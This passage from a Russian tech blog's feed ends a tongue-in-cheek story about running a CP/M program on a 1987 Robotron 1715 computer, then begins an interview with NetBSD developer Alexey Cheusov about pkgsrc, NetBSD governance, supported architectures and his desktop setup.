  <p id="9X1F">Денно и нощно (обычно по субботам) монахи ордена без устали смазывали, паяли и окуривали все это благовониями, дабы ублажить «дух машины» обитающий в старом железе.</p>
  <p id="vESj">Орден ревностно хранил свои секреты и мне очень далеко не сразу было позволено хотя бы приблизиться к их древностям.</p>
  <p id="X4Ab">Но все же мне необходима была их помощь для последней проверки перед сдачей этого фантастического проекта:</p>
  <blockquote id="WAhN">запуска собранного приложения для машины из 1987го на <strong>реальном</strong> компьютере 1987го.</blockquote>
  <p id="Dgvg">Меня сопроводили в специальную, строго охраняемую комнату, где на постаменте, под защитным стеклом находился артефакт из далекого прошлого.</p>
  <figure id="5xqo" class="m_original">
    <img src="https://img3.teletype.in/files/68/a9/68a9913b-af19-4448-8e07-179e9042ac43.png" width="1920" />
  </figure>
  <p id="mjVc"><strong>Robotron 1715</strong> — 8-разрядный <a href="https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D1%81%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80" target="_blank">персональный компьютер</a> производства <a href="https://ru.wikipedia.org/wiki/%D0%93%D0%94%D0%A0" target="_blank">ГДР</a>. Производился на заводе <a href="https://ru.wikipedia.org/wiki/VEB_Robotron" target="_blank">VEB Robotron</a>.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="QQVb">Версия 1715M, сохраненная в ордене это «экспортный» вариант, когда-то давно поставляемый в Советский Союз.</p>
  </section>
  <p id="ELnA">С величайшим почтением нашептывая молитвы загрузки, послушник в черном балахоне приблизился к постаменту и приложил ладонь к считывателю отпечатков пальцев.</p>
  <p id="Estp">Защитное стекло начало медленно опускаться.</p>
  <blockquote id="a5SK">Не прекращая молитвенные напевы, послушник вставил кабель питания в древнее устройство и наконец нажал кнопку запуска.</blockquote>
  <p id="KLJi">Первыми ожили вентиляторы, оповестив своим гулом о начале пробуждения машины от долгого сна. Затем коротко пискнул спикер, сообщив об отсутствии неполадок в оборудовании. </p>
  <p id="lkP6">Последним ожил древний ламповый монитор — лампам требовалось время для прогрева, поэтому надписи появились не сразу.</p>
  <p id="rvUJ">Наконец запуск и загрузка операционной системы SCP — аналога CP/M, но из ГДР были завершены. </p>
  <p id="0o5T">Появилось приглашение ввода команд:</p>
  <pre id="gcrv">А&gt;</pre>
  <p id="ETg6">Послушник взял мою пятидюймовую дискету с записанной сборкой и с благоговением вставил ее в древний дисковод, не забыв выставить специальную защелку в вертикальное положение.</p>
  <p id="oHJN">Затем на не менее древней механической клавиатуре он ввел:</p>
  <pre id="6RmI">B:
MESSAGE.COM</pre>
  <p id="wjS1">Дисковод ожил и издавая чудовищный скрежет начал загружать мое послание доктору Кригеру.</p>
  <p id="vudR">Через какое-то время на экране появились строки:</p>
  <pre id="sLqv">NE PUERO GLADIUM, DR. KRIGER.
04.03.2026</pre>
  <p id="JBrz">Что в переводе с латыни означает:</p>
  <blockquote id="4nhD">НЕ СТОИТ ДАВАТЬ БОЕВОЙ МЕЧ МАЛЬЧИКУ, ДОКТОР КРИГЕР.</blockquote>
  <p id="FlJX">Проверка удалась и написанное мой приложение для компьютеров 80х под CP/M действительно успешно запустилось на настоящем компьютере из 1987 года.</p>
  <p id="H5d5">Так это выглядело в живую:</p>
  <figure id="7ATx" class="m_original">
    <img src="https://img3.teletype.in/files/67/d7/67d733c8-1850-4489-8bdd-397e2735081f.jpeg" width="1280" />
    <figcaption>Мое послание, запущенное на настоящем Роботроне.</figcaption>
  </figure>
  <h2 id="Kew9">ЭПИЛОГ</h2>
  <p id="R8DG">Как мне позднее сообщили, коллега по опасному инженерному делу — доктор Кригер действительно впечатлился и на какое-то время перестал терроризировать сослуживцев <s>сливая с них лишнюю кровь</s>.</p>
  <p id="wANt">Обратив вместо этого пытливый взор на мою скромную персону и заставив немного побегать по Питеру от целой армии роботов.</p>
  <p id="4Xxk">Как это было, что за смуглая красавица спасла меня от неминуемой гибели и почему я больше не смотрю «Битву экстрасенсов» — обо всем этом вы узнаете из следующих серий.</p>
  <p id="8qil">..</p>
  <p id="xrEn">В наше непростое время, когда практически все сколь-нибудь серьезные темы находятся под контролем или запретом, с риском уголовного преследования, остается только использовать «Эзопов язык», превращая излагаемый материал в сказку для непосвященных.</p>
  <p id="R3LH">Если вас, дорогой читатель, волнует реальность описываемых событий, задумайтесь о том, что чип Z80 (и его клоны) является <strong>вторым</strong> по распространенности на планете, а операционная система CP/M c момента своего появления никогда не покидала прошивок промышленного оборудования.</p>
  <blockquote id="PYxG">Закончилась война во Вьетнаме, вышли первые «Звездные войны», развалился Советский Союз, вышли первый и второй «Терминаторы», появился Linux, затем Google — все это время продолжали работать станки, с программируемой логикой на Z80, а временами даже с управляющим софтом под CP/M.</blockquote>
  <p id="qTbr">Это на самом деле ведь никогда не заканчивалось.</p>
  <p id="cwO6">И врядли закончится:</p>
  <figure id="Ld71" class="m_original">
    <img src="https://img1.teletype.in/files/05/01/05014cc9-fe1d-47bc-9b9c-ae0de926fe87.jpeg" width="1200" />
  </figure>
  <p id="HsHt">Теперь задумайтесь, а как бы происходила проверка компетенций, прежде чем допускать до подобного проекта? Не тестовым ли приложением?</p>
  <p id="HOzE">Но кто именно был гостем с военной выправкой думаю вам выяснять не стоит, это секретная информация.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/netbsd-interview-alexey-cheusov</guid><link>https://blog.0x08.ru/netbsd-interview-alexey-cheusov?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/netbsd-interview-alexey-cheusov?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>NetBSD: Интервью с разработчиком</title><pubDate>Wed, 11 Feb 2026 09:05:29 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/54/89/548929f2-5a18-4433-866b-b6bda3f9740f.png"></media:content><category>people</category><description><![CDATA[<img src="https://img3.teletype.in/files/e1/05/e1052f3b-539a-4f76-9a3d-a9ea5a1eb4df.jpeg"></img>На одной истории с OpenBSD и Вячеславом Воронцовым мы не остановились и на этот раз в гостях у нас ещё один яркий и интересный представитель сообщества BSD.]]></description><content:encoded><![CDATA[
  <p id="vVHU">На одной истории с <a href="https://blog.0x08.ru/openbsd-interview-msk-2025" target="_blank">OpenBSD и Вячеславом Воронцовым</a> мы конечно же не остановились, на этот раз в гостях у нас ещё один яркий и интересный представитель сообщества BSD. </p>
  <figure id="T78p" class="m_column">
    <img src="https://img3.teletype.in/files/e1/05/e1052f3b-539a-4f76-9a3d-a9ea5a1eb4df.jpeg" width="1920" />
  </figure>
  <p id="wqu0">Рассказ пойдет о системе NetBSD, потому что у нас в гостях Алексей Чеусов — самый настоящий разработчик NetBSD. </p>
  <p id="EFYq"></p>
  <h2 id="qQQd">Видео</h2>
  <p id="qvDk">Выкладываем как обычно везде где только можно, сам ролик:</p>
  <figure id="A73l" class="m_column">
    <iframe src="https://vk.com/video_ext.php?oid=-224640710&id=456239056&autoplay=0"></iframe>
  </figure>
  <p id="75HR">На других платформах: <a href="https://youtu.be/q-YQqdamUNs" target="_blank">Youtube</a>, <a href="https://rutube.ru/video/b354d4cc8bfda28c410752f937ee26a3/" target="_blank">Rutube</a>.<br /></p>
  <h2 id="OluG">Интервью</h2>
  <p id="FW8p">Ниже вас ждет текстовая версия интервью с Алексеем в <strong>литературной обработке</strong>, это не дословный перевод всех реплик из видео.</p>
  <blockquote id="lyUV">По той простой причине, что мы «художественных ПТУ» не оканчивали и общаемся в жизни далеко не на литературном русском.</blockquote>
  <p id="PAyV">Как и в прошлый раз, ради большей эпичности, будем использовать наши ники в сети для выделения реплик:</p>
  <ul id="gTUv">
    <li id="NtKg">laizoaarz — Алексей Чеусов, гость</li>
    <li id="zMed">alex0×08 — Александр Чернышев, ведущий</li>
  </ul>
  <p id="PGqp">Собственно и автора и гостя можно легко найти, вбив ник в любую поисковую систему.</p>
  <p id="k8SZ">Поехали.</p>
  <figure id="7YBA" class="m_column">
    <img src="https://img2.teletype.in/files/57/e7/57e7ac1d-b7d2-47ac-9737-d35b40b30c1e.png" width="1920" />
  </figure>
  <h2 id="xuEf">Алексей Чеусов</h2>
  <p id="0o0z">Алексей — программист-математик с большим опытом, работающий с NetBSD с 2006 года, действующий ментейнер в нескольких крупных открытых проектах, отвечающий за большое количество пакетов в <code>pkgsrc</code>.</p>
  <h3 id="Agtr">Контакты</h3>
  <p id="Nmmx">Почта: cheusov@netbsd.org</p>
  <p id="4gFC">Телеграм: @convs_prog<br />Github: <a href="https://github.com/~cheusov" target="_blank">https://github.com/~cheusov</a><br />Youtube: <a href="https://www.youtube.com/@convs_prog" target="_blank">https://www.youtube.com/@convs_prog</a><br />Блог: dzen.ru/convs_prog</p>
  <p id="bOVy"></p>
  <p id="4m5t"><em>laizoaarz</em></p>
  <p id="or4Y">Всем привет. Это я. </p>
  <p id="NcEn"><em>alex0x08</em></p>
  <p id="Q2JR">Если видели прошлые ролики, думаю догадываетесь что будет дальше:</p>
  <blockquote id="DsVD">я буду снова задавать дурацкие и обывательские вопросы, Алексей будет давать умные комментарии и ответы. </blockquote>
  <p id="qUOD">Мы кстати идём по самому центру Питера и помимо умного разговора о высоком, вы еще увидите офигительно красивую картинку (в ролике). </p>
  <p id="wqP3">С погодой нам тоже сегодня сильно повезло, так что сейчас будет круто и красиво. </p>
  <p id="fy9j"><em>laizoaarz</em></p>
  <p id="Zdvf">Зовут меня Алексей Чеусов. </p>
  <p id="waOC">Занимаюсь программированием с детства, зарабатываю этим примерно с девяносто шестого (1996). </p>
  <p id="6Uu8">Люблю, знаете ли, железки поковырять. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="O3On">Математику люблю, юниксы люблю. </p>
  </section>
  <p id="WA5I"><em>alex0x08</em></p>
  <p id="1id6">Алексей на самом деле скромничает, потому что он фактически самый настоящий математик, учёный. Закончил профильный математический ВУЗ и собственно говоря по основной работе занимается математикой. </p>
  <p id="zcQ5">При этом является активным коммитером NetBSD, у него есть специальная почта в домене netbsd.org.</p>
  <figure id="M71X" class="m_column">
    <img src="https://img3.teletype.in/files/2a/da/2ada22cb-587c-4f29-a705-1a895f16287b.png" width="1153" />
  </figure>
  <p id="aUio">Еще Алексей активно выступает на конференциях с докладами как по математическим темам, так и по BSD-шным. </p>
  <blockquote id="vdwA">Короче, это весьма известный, опытный и интересный человек. </blockquote>
  <p id="LmQ7">Когда мы делали ролик про OpenBSD, я там говорил «ваш шанс встретить живого пользователя OpenBSD на улице примерно равен шансу встретиться с космонавтом». </p>
  <p id="kGFU">Так вот с NetBSD всё ещё круче, поскольку это еще более редкая система. </p>
  <p id="7SlP"><em>laizoaarz</em></p>
  <p id="cGQQ">Ну да, я сам из Минска, из Беларуси. Родился, вырос там. </p>
  <p id="RqCT">И в моём окружении, честно сказать, никто NetBSD не использует. OpenBSD встречается в наших кругах куда чаще. </p>
  <figure id="fMWZ" class="m_column">
    <img src="https://img2.teletype.in/files/57/fb/57fb408b-6fc1-4643-9f92-db3bd9bf49bc.png" width="951" />
  </figure>
  <p id="HURQ">Я в последнее время жил в Кутаиси и на одной тусовке местных экспатов встретил пользователя OpenBSD. </p>
  <p id="mWzX">Это было очень неожиданно. Мы с ним тут же, за игрой в настольные игры поспорили, какая из BSD лучше. </p>
  <p id="tBSW">Было весело и забавно: </p>
  <blockquote id="GS1o">мало того, что мы BSD-шники, так ещё и встретились в узком кругу экспатов в Грузии. </blockquote>
  <figure id="ICrl" class="m_column">
    <img src="https://img1.teletype.in/files/81/d2/81d2c9a4-fb96-4407-bf2e-5783682747b1.png" width="1920" />
  </figure>
  <h2 id="3Fby">Почему NetBSD</h2>
  <p id="YsZ6"><em>alex0x08</em></p>
  <p id="eYaw">Расскажи, почему именно NetBSD? </p>
  <p id="oyiY"><em>laizoaarz</em></p>
  <p id="wzSm">Как часто бывает, это случайность :)</p>
  <p id="6BBv">Гостил у своих приятелей из <a href="https://sam-solutions.com/" target="_blank">Sam Solutions</a> — компания в Минске, где до сих пор существует отдел UNIX-разработки. Хотя сейчас уже Linux-разработки, в основном. </p>
  <p id="s8l7">Увидел у них болванки — FreeBSD, NetBSD, OpenBSD. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="JS0J" data-align="center">Ну и попробовал все по очереди. </p>
  </section>
  <p id="NF2z">Начав с FreeBSD, которая у меня.. упала и развалилась. Причём неоднократно, так что с ней у меня не задалось. </p>
  <figure id="UXbY" class="m_column">
    <img src="https://img3.teletype.in/files/ef/6e/ef6efbcb-7fee-4000-b3ad-37f858cd37de.jpeg" width="1600" />
  </figure>
  <p id="89hK"><em>laizoaarz</em></p>
  <p id="u2cM">Это была пятая версия, 5.3. </p>
  <p id="il7T">После чего поставил NetBSD 2.02. Как сейчас помню, это был 2006 год. К тому моменту я уже был знаком с Линуксом много лет. </p>
  <blockquote id="GjAY">Так что NetBSD — моя вторая Unix-подобная система. </blockquote>
  <p id="eKm1">Первый был Linux Suse 6.1. </p>
  <figure id="b0KQ" class="m_column">
    <img src="https://img3.teletype.in/files/ab/0d/ab0d4664-8771-4c8b-a815-c424d1937401.jpeg" width="1024" />
    <figcaption>Suse Linux 6.1</figcaption>
  </figure>
  <p id="NdYX"><em>laizoaarz</em></p>
  <p id="XW6u">И с NetBSD как-то у меня пошло. </p>
  <p id="vWaw">Пошло во-первых, по технической части. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LyMi">Она мне понравилась, всё заработало, всё было очень просто и понятно. NetBSD какая-то такая.. стабильная оказалась. </p>
  </section>
  <p id="LU5p">Дальше пошло общение с людьми, с разработчиками: </p>
  <p id="YBIF"><a href="https://github.com/0-wiz-0" target="_blank">Thomas Klausner</a>, <a href="https://blog.netbsd.org/tnf/entry/interview_with_christos_zoulas" target="_blank">Christos Zoulas</a>, <a href="https://wiki.netbsd.org/users/agc/" target="_blank">Alistair Crooks</a>, <a href="https://www.galois.com/team/david-holland" target="_blank">David Holland</a>.</p>
  <p id="6gOh">Все эти ведущие разработчики NetBSD, с которыми пересекался, с ними пошло нормальное общение. </p>
  <blockquote id="v43g">И я как-то увлёкся этим делом. </blockquote>
  <p id="Noha">Ну и «прилип» не только к технике, но и к этим всем людям, которые показались очень интересными. </p>
  <figure id="4Too" class="m_column">
    <img src="https://img3.teletype.in/files/a6/6f/a66fc2c8-b525-4c1f-bc44-ca83bf7b4e4f.jpeg" width="900" />
  </figure>
  <h2 id="1wGR">NetBSD и демократия</h2>
  <p id="sUsw"><em>alex0x08</em></p>
  <p id="OMG1">Когда готовился к этому ролику и начал собирать материал, оказалось что сообщество NetBSD — гораздо более.. демократично устроено, нежели другие, более известные и популярные из BSD. </p>
  <blockquote id="KTpG">Например, каждый коммитер может выкладывать патчи для любого пакета. </blockquote>
  <p id="hJMd">Расскажи как вообще у вас сообщество устроено, в чём отличие от «кровавого диктата» Тео в OpenBSD? </p>
  <figure id="iwSW" class="m_column">
    <img src="https://img4.teletype.in/files/36/1a/361a57e4-c591-4ab7-a946-28dc9dcd5986.png" width="1920" />
  </figure>
  <p id="glVl">laizoaarz</p>
  <p id="tmeZ">Одна из причин, почему я не использую OpenBSD и считаю эту систему непригодной для жизни, это откровенный «фюризм». </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DZso">OpenBSD это система одного человека, как он сказал, так и будет.  </p>
  </section>
  <p id="3Mf3">А в NetBSD всё устроено совсем по-другому. </p>
  <p id="F4dY">Там есть <a href="https://www.netbsd.org/people/core.html" target="_blank">Core Team</a>, который принимает взвешенные решения по спорным вопросам. Cостоит, насколько помню из семи человек. </p>
  <figure id="JYRU" class="m_column">
    <img src="https://img2.teletype.in/files/9b/80/9b809ae8-b429-4651-9c4b-0b3f2177e580.png" width="977" />
  </figure>
  <p id="kaX4"><em>laizoaarz</em></p>
  <p id="k4Gf">И в случае возникновения каких-то непримиримых споров, все решается коллегиально. Туда кстати входил в прошлом и <a href="https://github.com/nbuwe" target="_blank">Валерий Ушаков</a> из Питера, ваш местный товарищ. </p>
  <blockquote id="3WL8">Состав Core Team меняется и соответственно меняются поколения разработчиков. </blockquote>
  <p id="qB68">В общем, как-то так всё происходит, более плавно. </p>
  <p id="9v1x">Никто не уходит обиженным, в отличие от других экосистем, где всё устроено несколько по-другому. </p>
  <p id="8Nyr">В NetBSD все сильно лучше в этом плане. Но тотальной «демократии» здесь совершенно точно нет, всё гораздо интереснее.  </p>
  <p id="aVji"><em>alex0x08</em></p>
  <p id="DmMr">В FreeBSD на самом деле тоже есть <a href="https://en.wikipedia.org/wiki/FreeBSD_Core_Team" target="_blank">Core Team</a>, размером по-больше, человек 15. Но в любом случае там нет такого, что любой коммитер может отправлять патчи в любую часть системы или набора пакетов. </p>
  <h2 id="az3e">Про общие пакеты</h2>
  <p id="JjSw"><em>laizoaarz</em></p>
  <p id="K56d">Приведу пример. </p>
  <p id="xFxs">Если мы проанализируем самых популярных ментейнеров пакетов в <a href="https://www.pkgsrc.org/" target="_blank">pkgsrc</a>,  увидим там почтовый адрес <a href="https://pkgsrc.se/bbmaint.php?maint=pkgsrc-users@NetBSD.org" target="_blank">@pkgsrc-users</a>: </p>
  <figure id="Cbiz" class="m_column">
    <img src="https://img4.teletype.in/files/3f/ab/3faba373-40bc-46b0-a34d-8e4c20617c0d.png" width="1075" />
  </figure>
  <p id="Ekeq"><em>laizoaarz</em></p>
  <p id="mv0A">Это отнюдь не означает, что пакет бесхозный. </p>
  <p id="lwMC">Это означает, что человек создал пакет, добавил в базу, но не берёт на себя труд по сопровождению этого пакета, по его поддержке. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="MMxq">Пакет принадлежит как бы всем. </p>
  </section>
  <p id="ZdI1">И любой человек, с оглядкой на сообщество, на этот список рассылки <code>@pkgsrc-users</code>, может сюда коммитить. </p>
  <p id="gi3T">Все это приводит к тому, что откровенно бесхозных пакетов нет. </p>
  <p id="SsCV">И получается, что пакеты движутся вперёд более активно, чем если бы один человек уснул или там, не знаю, нарожал детей, ушёл <s>в запой</s> а пакет стоит без движения, без апдейтов все это время. </p>
  <p id="26QG"><em>alex0x08</em></p>
  <p id="OoWw">На самом деле, «не ушёл и не нарожал детей», чаще всего просто времени не хватает на все это у людей. </p>
  <blockquote id="MJuS">Самая частая причина, что просто сильный завал по работе и все — ребят, извините, не тяну. </blockquote>
  <p id="EQUD">По крайней мере во FreeBSD это самая частая причина, по которой меняются ментейнеры. </p>
  <p id="qjEa">Точно не «идейные разногласия».</p>
  <figure id="lNhL" class="m_column">
    <img src="https://img2.teletype.in/files/91/6f/916f0a78-d100-4d51-a9aa-e4d20b3d909d.jpeg" width="2100" />
  </figure>
  <h2 id="XnUg">История с тостером</h2>
  <p id="DxE5"><em>alex0x08</em></p>
  <p id="ZAwu">Сейчас мы развеем наверное самую известную байку про NetBSD — насчёт её реальной кроссплатформенности. </p>
  <p id="MeFD">Расскажи эту историю про <a href="https://github.com/wcd-anon/NetBSD-toaster" target="_blank">NetBSD на тостере</a>:</p>
  <blockquote id="1ZCA">Yesterday at LinuxWorld 2005 I ran into <a href="https://twitter.com/ioerror" target="_blank">Jake Appelbaum</a> and he mentioned that upstairs in up the .org Pavilion there was a toaster that was powered by <a href="http://www.netbsd.org/" target="_blank">NetBSD</a> (the first open source version BSD, a Unix-like operating system). <a href="http://www.flickr.com/photos/laughingsquid/33239116/in/set-738298/" target="_blank">John Mc</a> and I went up there and found the candy apple red toaster that was being controlled by NetBSD, and it actually made toast.</blockquote>
  <p id="VxW1">Очень известная история, ставшая для обывателей визитной карточкой NetBSD.</p>
  <p id="UfgM"><em>laizoaarz</em></p>
  <p id="iZuI">Думаю эта байка повторяется каждое десятилетие. И по-моему это какая-то глупость, которую стоит перестать повторять. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="kAUC">Если подходить к вопросу объективно, то все операционки стремятся быть перенесёнными на всё что движется. </p>
  </section>
  <p id="K6gH">NetBSD естественно это тоже касается, но это не означает что она лидер в данной области. </p>
  <blockquote id="pjni">лидером по портируемости является Linux и уже очень давно. </blockquote>
  <p id="E4mi">И если уж мы выбираем операционную систему, то на мой взгляд совершенно не по этой причине. </p>
  <p id="moOt">Я например выбрал NetBSD совершенно по другим причинам. Точно не потому, что она якобы такая переносимая. </p>
  <figure id="350T" class="m_column">
    <img src="https://img2.teletype.in/files/da/e3/dae3cb83-8c92-4a8e-afb3-a1980e1faa75.png" width="1920" />
  </figure>
  <h2 id="RjKe">Про поддерживаемые архитектуры</h2>
  <p id="L1ve"><em>alex0x08</em></p>
  <p id="gJM4">История с количеством поддерживаемых архитектур. </p>
  <p id="2kGH">Насколько понимаю, всё не настолько глобально как кажется обывателю? Из <a href="https://www.netbsd.org/ports/" target="_blank">огромной массы поддерживаемых архитектур</a> только примерно половина — активные, остальные просто есть в списке. </p>
  <p id="ySDv"><em>laizoaarz</em></p>
  <p id="4PVi">Ну да. </p>
  <p id="Wg6e">В NetBSD есть три категории поддерживаемые систем: </p>
  <ul id="BZTO">
    <li id="JPyO"><a href="https://www.netbsd.org/ports/#ports-tier1" target="_blank">Tier I: Focus — support is part of NetBSD&#x27;s strategy</a></li>
    <li id="dgLz"><a href="https://www.netbsd.org/ports/#ports-tier2" target="_blank">Tier II: Organic — evolving at its own pace</a></li>
    <li id="zVee"><a href="https://www.netbsd.org/ports/#ports-tier3" target="_blank">Tier III: Life Support — severely incapacitated or broken</a></li>
  </ul>
  <p id="KapQ">Tier I поддерживается активно, туда входит x86 ясное дело, ARM, MIPS. </p>
  <p id="h40W">Вторая категория — всякие устаревшие SPARC, ALPHA и PowerPC. </p>
  <p id="OZkU">И третья категория, то что вероятнее всего отвалится, потому что некому поддерживать. Не потому что эти архитектуры не нужны, а просто потому что это некому поддерживать.</p>
  <p id="WqDt">Что касается целесообразности поддержки всяких <a href="https://www.netbsd.org/ports/playstation2/index.html" target="_blank">Sony PlayStation 2</a> и прочей экзотики, как-то в рассылке видел забавный аргумент, когда разработчики обсуждали, нужно ли им поддерживать старый хлам. </p>
  <p id="OQsK">Один из разработчиков NetBSD выдвинул следующий аргумент:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="rehb">нам не столько нужен этот условный Sony PlayStation 2.0, сколько факт, что на нем все тоже работает.</p>
  </section>
  <p id="U168">А если это не так, значит мы сделали что-то неправильно. </p>
  <p id="Ecba">Так что поддержка большого количества архитектур, при условии работоспособности, однозначно доказывает, что с точки зрения дизайна операционной системы всё сделано верно. </p>
  <p id="rdpl">И вот для этого портируемость очень важна и очень нужна. </p>
  <figure id="1qJr" class="m_column">
    <img src="https://img2.teletype.in/files/dc/a5/dca58331-fdf9-4f36-9eb6-881007b77e23.png" width="1920" />
  </figure>
  <h2 id="hsUc">NetBSD и драйвера</h2>
  <p id="xWGX"><em>alex0x08</em></p>
  <p id="z7fU">От себя добавлю, что в NetBSD очень интересный подход к поддержке железа. Фактически там нет концепции драйвера устройства, но есть «фреймворк» для их создания, внутренний. </p>
  <p id="gySc">И когда создается код для поддержки конечного устройства, он пишется так чтобы его можно было применять на разных архитектурах. </p>
  <p id="fSoM"><em>laizoaarz</em></p>
  <p id="Rcub">Ну да, это упрощает поддержку железа на разных архитектурах. </p>
  <p id="PVn1"><em>alex0x08</em></p>
  <p id="NiKG">Но ооочень сильно усложняет саму разработку, потому что когда попытался что-то портировать из FreeBSD — концов просто не нашёл. </p>
  <h2 id="Gv1D">NetBSD и pkgsrc</h2>
  <p id="YLOC"><em>alex0x08</em></p>
  <p id="DHx4">Поскольку Алексей в основном занимается поддержкой пакетов, он — ментейнер очень большого их количества в <code>pkgsrc</code>, про пакетную базу может рассказать много чего интересного. </p>
  <p id="OSTe">Давай начнём с достаточно известного факта:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="RS5Z">пакетная база <a href="https://www.pkgsrc.org/" target="_blank">pkgsrc</a> на самом деле кроссплатформенная и все пакеты собираются под кучей разных систем. </p>
  </section>
  <p id="k8Ja">Расскажи как это все происходит. </p>
  <p id="Tl5X"><em>laizoaarz</em></p>
  <p id="CIVO">Тут сразу ошибка в описании:  </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="p6Qp">пакеты не для NetBSD, пакеты для проекта pkgsrc. </p>
  </section>
  <p id="VbOX">NetBSD тут лишь одна из целевых платформ для сборки пакетов, с поддержкой разных архитектур. </p>
  <p id="LKHv">А у самого проекта pkgsrc одна из главных целей — поддержка разных операционных систем. </p>
  <p id="C5Fd">Поэтому если создал пакет один раз, сборка потом <a href="https://netbsd.org/docs/pkgsrc/platforms.html" target="_blank">работает</a> и под Линуксом и под MacOS, и под Solaris и под Minix и так далее — под «всем что движется». </p>
  <blockquote id="sOeP">И это на самом деле работает, это ключевой момент. </blockquote>
  <p id="pS5D">Этим проект <code>pkgsrc</code> радикально отличается от всех остальных пакетных систем, знакомых юниксоидам. </p>
  <figure id="W1KE" class="m_column">
    <img src="https://img2.teletype.in/files/5f/0d/5f0d4321-583e-43fa-b4d4-2e6e17f041c8.png" width="1920" />
  </figure>
  <h2 id="3SbF">pkgsrc без root</h2>
  <p id="RSEO"><em>laizoaarz</em></p>
  <p id="B9TK">Ну и вторая фича <code>pkgsrc</code>, которая мне кажется очень важной:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="aiMp">все пакеты можно устанавливать в домашний каталог. </p>
  </section>
  <p id="2Aw9">Это так называемый <a href="https://www.netbsd.org/docs/pkgsrc/faq.html#non-root-pkgsrc" target="_blank">unprivileged-режим</a>, непривилегированный режим. </p>
  <p id="WtWz">Для примера, опишу один кейс. </p>
  <p id="XEnH">У меня есть много своих разработок, которые приходится тестировать на разных аппаратных архитектурах и разных операционных системах.</p>
  <blockquote id="4lCr">Тестирую я все это на большом количестве систем, куда у меня есть удаленный SSH-доступ, но без привилегий суперпользователя. </blockquote>
  <p id="dvFG">Для тестирования нужен какой-то набор софта на целевой машине, а поскольку нет прав суперпользователя — не могу установить все необходимое из родных для целевой системы пакетных систем. </p>
  <p id="1sM4">Так что я устанавливаю все необходимое <code>pkgsrc</code> в домашний каталог, никого при этом не дёргая по поводу доступа. </p>
  <p id="yOq0">Удобно. </p>
  <figure id="qhAS" class="m_column">
    <img src="https://img1.teletype.in/files/8a/f5/8af5a1fd-e7f6-4315-9a06-e75b143f204a.png" width="1280" />
    <figcaption>Рабочий стол Алексея</figcaption>
  </figure>
  <p id="lplx"><em>alex0x08</em></p>
  <p id="KE7i">Расскажи про свою рабочую систему, ведь на самом деле ты — очень редкий вид пользователя, поскольку у тебя NetBSD используется непосредственно на рабочей станции, в качестве основной ОС.</p>
  <p id="fVNt">Что из софта используешь, как это вообще выглядит? </p>
  <p id="ilzs"><a href="https://en.wikipedia.org/wiki/Emacs" target="_blank">Emacs</a> наверное какой-нибудь?</p>
  <p id="UVdI"><em>laizoaarz</em></p>
  <p id="nQLY">Ну я «админ локалхоста», но очень опытный. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qDrM">А в целом, я — разработчик и больше занимаюсь программированием. </p>
  </section>
  <p id="k1sT">Ну как больше, я 100% времени занимаюсь программированием, а не администрирую что-либо.</p>
  <blockquote id="KWjW">Поэтому да, у меня NetBSD на десктопе, одна из систем. </blockquote>
  <p id="5fHL">В основном у меня там используется Emacs, <a href="https://wiki.archlinux.org/title/Rxvt-unicode" target="_blank">urxvt</a> — форк rxvt с поддержкой Unicode и довольно древний window-менеджер <a href="https://en.wikipedia.org/wiki/CTWM" target="_blank">ctvm</a>, который меня вполне устраивает. </p>
  <figure id="zTkP" class="m_column">
    <img src="https://img2.teletype.in/files/92/09/9209162d-b431-472c-8b7b-4cf3dfdf20ad.png" width="1280" />
    <figcaption>ctwm с тонкой настройкой Алексея</figcaption>
  </figure>
  <p id="ymJl">Вообще считаю: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="fBF8">для разработчика window-менеджер или так называемый «desktop environment» никак не улучшает производительность. </p>
  </section>
  <p id="NiOA">Поэтому хватает столь древнего window-менеджера, который недавно в NetBSD сделали устанавливаемым по-умолчанию, внеся его в базовую систему.</p>
  <p id="D0bp">Пользуюсь им наверное с начала двухтысячных годов. </p>
  <figure id="zt0M" class="m_column">
    <img src="https://img3.teletype.in/files/a1/ab/a1ab462a-b3c8-45f3-909a-1eb575f4ba52.jpeg" width="900" />
  </figure>
  <h2 id="rrFy">История с дедушкой Керниганом и awk</h2>
  <p id="OhEm"><em>alex0x08</em></p>
  <p id="OPns">Насколько знаю, ты часто отправляешь патчи для разных открытых проектов, в том числе для awk. Из-за чего у тебя случилась интересная история с Брайаном Керниганом. </p>
  <blockquote id="7UWy">Когда про это услышал — очень сильно удивился.</blockquote>
  <p id="pQEx">Расскажи, хотя-бы в кратце. </p>
